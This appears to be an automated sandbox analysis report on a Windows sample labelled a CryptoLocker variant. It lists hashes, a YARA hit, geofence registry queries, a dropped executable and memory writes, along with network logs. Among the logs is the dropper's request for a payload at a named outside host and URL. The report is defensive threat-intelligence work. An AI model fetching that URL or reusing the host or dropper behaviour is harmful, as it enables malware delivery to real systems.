0bc398c17feb0dc8a948419b48eb013cc133e2c14bd83e27974ae394f555f377

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
17/04/2024, 05:30 UTC

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General

Target

2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe
Size

33KB
MD5

1e098a91f5deba98f586a01e2b2206ba
SHA1

5063a0c4f10761292b4eb8bf8def94ff00034b2f
SHA256

0bc398c17feb0dc8a948419b48eb013cc133e2c14bd83e27974ae394f555f377
SHA512

bc69df6db67952696e1ba387cace5fd3959003650b2b9279e542f5eafe30821564b7b32c8da18963344f3b53dce22d1e681d91cb3675412b0e4fda2dc43f9116
SSDEEP

384:bAvMaNGh4z7CG3POOvbRSLoF/F0QU5XYFnufc/zzo6cuM9gxrW:bAvJCYOOvbRPDEgXRcuM9gxa

Score

9^/10

Malware Config

Signatures

Detection of CryptoLocker Variants 1 IoCs

resource	yara_rule
behavioral2/files/0x000300000001e9b1-12.dat	CryptoLocker_rule2

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	demka.exe

Executes dropped EXE 1 IoCs

pid	Process
1408	demka.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 1408	4788	2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe	87
PID 4788 wrote to memory of 1408	4788	2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe	87
PID 4788 wrote to memory of 1408	4788	2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe	87

C:\Users\Admin\AppData\Local\Temp\2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe
"C:\Users\Admin\AppData\Local\Temp\2024-04-17_1e098a91f5deba98f586a01e2b2206ba_cryptolocker.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Users\Admin\AppData\Local\Temp\demka.exe
  "C:\Users\Admin\AppData\Local\Temp\demka.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1408

Network

DNS

0.159.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

0.159.190.20.in-addr.arpa

IN PTR

Response
DNS

82.90.14.23.in-addr.arpa

Remote address:

8.8.8.8:53

Request

82.90.14.23.in-addr.arpa

IN PTR

Response

82.90.14.23.in-addr.arpa

IN PTR

a23-14-90-82deploystaticakamaitechnologiescom
DNS

ttms.org

demka.exe

Remote address:

8.8.8.8:53

Request

ttms.org

IN A

Response

ttms.org

IN A

35.215.114.222
GET

https://ttms.org/config/UKo8.exe

demka.exe

Remote address:

35.215.114.222:443

Request

GET /config/UKo8.exe HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: ttms.org
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Wed, 17 Apr 2024 05:31:04 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Httpd: 1
Host-Header: 8441280b0c35cbc1147f8ba998a563a7
X-Proxy-Cache: HIT
DNS

9.228.82.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

9.228.82.20.in-addr.arpa

IN PTR

Response
DNS

222.114.215.35.in-addr.arpa

Remote address:

8.8.8.8:53

Request

222.114.215.35.in-addr.arpa

IN PTR

Response

222.114.215.35.in-addr.arpa

IN PTR

22211421535bcgoogleusercontentcom
DNS

11.97.55.23.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.97.55.23.in-addr.arpa

IN PTR

Response

11.97.55.23.in-addr.arpa

IN PTR

a23-55-97-11deploystaticakamaitechnologiescom
DNS

21.114.53.23.in-addr.arpa

Remote address:

8.8.8.8:53

Request

21.114.53.23.in-addr.arpa

IN PTR

Response

21.114.53.23.in-addr.arpa

IN PTR

a23-53-114-21deploystaticakamaitechnologiescom
DNS

157.123.68.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

157.123.68.40.in-addr.arpa

IN PTR

Response
DNS

206.23.85.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

206.23.85.13.in-addr.arpa

IN PTR

Response
DNS

24.139.73.23.in-addr.arpa

Remote address:

8.8.8.8:53

Request

24.139.73.23.in-addr.arpa

IN PTR

Response

24.139.73.23.in-addr.arpa

IN PTR

a23-73-139-24deploystaticakamaitechnologiescom
DNS

172.210.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.210.232.199.in-addr.arpa

IN PTR

Response
DNS

14.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

14.227.111.52.in-addr.arpa

IN PTR

Response

35.215.114.222:443

https://ttms.org/config/UKo8.exe

tls, http

demka.exe

3.8kB
90.7kB
73
69

HTTP Request

GET https://ttms.org/config/UKo8.exe

HTTP Response

404

8.8.8.8:53

0.159.190.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

0.159.190.20.in-addr.arpa
8.8.8.8:53

82.90.14.23.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

82.90.14.23.in-addr.arpa
8.8.8.8:53

ttms.org

dns

demka.exe

54 B
70 B
1
1

DNS Request

ttms.org

DNS Response

35.215.114.222
8.8.8.8:53

9.228.82.20.in-addr.arpa

dns

70 B
156 B
1
1

DNS Request

9.228.82.20.in-addr.arpa
8.8.8.8:53

222.114.215.35.in-addr.arpa

dns

73 B
126 B
1
1

DNS Request

222.114.215.35.in-addr.arpa
8.8.8.8:53

11.97.55.23.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

11.97.55.23.in-addr.arpa
8.8.8.8:53

21.114.53.23.in-addr.arpa

dns

71 B
135 B
1
1

DNS Request

21.114.53.23.in-addr.arpa
8.8.8.8:53

157.123.68.40.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

157.123.68.40.in-addr.arpa
8.8.8.8:53

206.23.85.13.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

206.23.85.13.in-addr.arpa
8.8.8.8:53

24.139.73.23.in-addr.arpa

dns

71 B
135 B
1
1

DNS Request

24.139.73.23.in-addr.arpa
8.8.8.8:53

14.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

14.227.111.52.in-addr.arpa
8.8.8.8:53

172.210.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.210.232.199.in-addr.arpa
8.8.8.8:53

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\demka.exe

Filesize
34KB

MD5
c412382b8f543f3d11ae17fd6e59b169

SHA1
fc00fb65d8c790fe093beb011ec0e58715c62895

SHA256
a0f7234c8e146726a9af0caaf249364badf34eefb5241f8cee4737cc74ab10fc

SHA512
89bf44da50a69b8a21568a1a80143b01db2fdcc5c742d5135359b12a12a0075826d47dd3a9d04419acf8bad41cef12cb9fa9b5ffabe2e45d6f5c646a31bf17a4

Download Submit
memory/1408-21-0x00000000005F0000-0x00000000005F6000-memory.dmp

Filesize
24KB

Download
memory/4788-0-0x0000000000730000-0x0000000000736000-memory.dmp

Filesize
24KB

Download
memory/4788-1-0x0000000000730000-0x0000000000736000-memory.dmp

Filesize
24KB

Download
memory/4788-2-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

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